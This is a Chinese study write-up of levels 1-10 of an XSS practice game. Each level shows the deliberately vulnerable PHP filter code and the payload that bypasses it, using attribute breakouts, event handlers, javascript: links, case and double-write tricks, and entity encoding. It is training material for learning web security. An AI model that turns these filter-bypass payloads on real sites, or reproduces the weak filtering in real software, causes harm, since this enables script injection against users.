1. 程式人生 > >XSS小遊戲學習筆記(level 1-10)

XSS小遊戲學習筆記(level 1-10)

XSS小遊戲

level 1

右鍵檢視頁面原始碼

<script>
window.alert = function()  
{     
confirm("完成的不錯!");
 window.location.href="level2.php?keyword=test"; 
}
</script>

即提示你要讓網頁彈框,修改url後面的引數

構造payload

 

 看過原始碼,也可以發現程式碼對使用者輸入輸出完全沒有過濾

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>歡迎使用者".$str."</h2>";
?>

level 2

輸入了正常的js,發現可以出現相關程式碼,說明預定義的字元程式碼已經被轉譯成了HTML實體了。

檢視頁面原始碼發現可以從下面的輸入框裡裡面入手,構造閉合語句

 構造payload閉合

"/><script>window.alert()</script>

 

查看了原始碼,發現預定義的字元程式碼對於輸出的時候用了htmlspecialchars 轉換成實體,不過下面的並沒有轉換,所以我們能閉合構造

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">   //這裡沒有實體化
<input type=submit name=submit value="搜尋"/>
</form>
</center>';
?>

level 3

當我們嘗試第二關的方法時發現第三關的兩個地方都加了htmlspecialchars函式處理。

此時,雙引號和尖括號都被轉義了。

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜尋 />
</form>
</center>";
?>

但是htmlspecialchars預設配置是不過濾單引號的。只有設定了:quotestyle,才可以。

payload:

'onclick='window.alert()

 

 

level 4

這一關和第二關的沒有太大區別

payload:

"onclick="window.alert()

 

這一關,檢視原始碼,發現多了幾個str,仔細看一下就知道,在這裡將輸入的內容分別去掉了 <,> ,然後,外面的引號變成了雙引號。

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜尋 />
</form>
</center>';
?>

level 5 (過濾滑鼠事件onclick,script標籤)

嘗試用上一關payload,發現這一關在on中加上了下劃線

 那麼應該怎麼做 檢視程式碼發現它把 script 和 onclick 中加入了下劃線。那麼滑鼠事件,就不能用了。可以考慮下用連結(href),即在連結中呼叫js。

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜尋 />
</form>
</center>';
?>

payload:

"><a href="javascript:onclick=alert()">xss</a>

level 6(過濾onclick、script、href、src、data標籤)

嘗試用上一關的payload,發現href也被過濾了。

檢視原始碼,發現過濾了onclick、script、href、src、data標籤:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜尋 />
</form>
</center>';
?>

然而,少了一個函式strtolower(),把所有字元轉換為小寫。所以,我們可以用大寫。

payload:

"><A HREF="javascript:alert()">xss</a>

level 7 (將特殊字元替換為空,雙寫繞過)

用上一關的payload第七關的已經加上了strtolower,已經不能用大寫繞過了。

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜尋 />
</form>
</center>';
?>

而且將這幾個能用的都轉換成空後,應該要怎麼辦?但這時我們要注意他只是將其轉換成空,不像前面的第六題加了下劃線,因此我們可以嘗試雙寫繞過

payload:

"><scrscriptipt>alert()</scrscriptipt>

level 8(編碼繞過)

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=新增友情連結 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情連結</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str7)."</h3>";
?>

這一關除了過濾了onclick、script、href、src、data標籤,而且把雙引號轉換成了“&quot”,並且在新增友情連結input內還有htmlspecialchars轉換

注意,這裡在友情連結只用了str7,只是將關鍵字轉換了,那麼如果用其他的編碼的形式能否繞過呢?

payload :

HTML實體編碼(HEX)javascri&#x70;t:alert()

HTML實體編碼(DEC)javascri&#112;t:alert()

 這裡要注意不能把java四個轉換編碼,因為後臺過濾的是script,所以把script其中一個編碼一下就好。

 

level 9

這題跟上題目差不多,就在友情連結上多了一點判斷。

<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的連結不合法?有沒有!">友情連結</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情連結</a></center>';
}
?>

若檢測不到http則報錯。 只要讓它檢測到http,卻不能起到作用就可以了,所以可以用註釋。

payload:

javascri&#x0070;t:alert(1)/*http://www.baidu.com*/

 

level 10(修改隱藏標籤)

這道題仔細看下程式碼就知道,它要get兩個引數keyword和t_sort:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

而且 keyword引數並沒有什麼用,t_sort可以進行滲透那麼在$str33這裡進行構造語句<>被轉換成空,那麼script,src等也不能用了在程式碼中下面有三個隱藏的引數設定,在這裡把t_sort的 hidden更改一下成text。

payload:

t_link=&t_history=&t_sort="onclick="alert()"type="text

 

比對: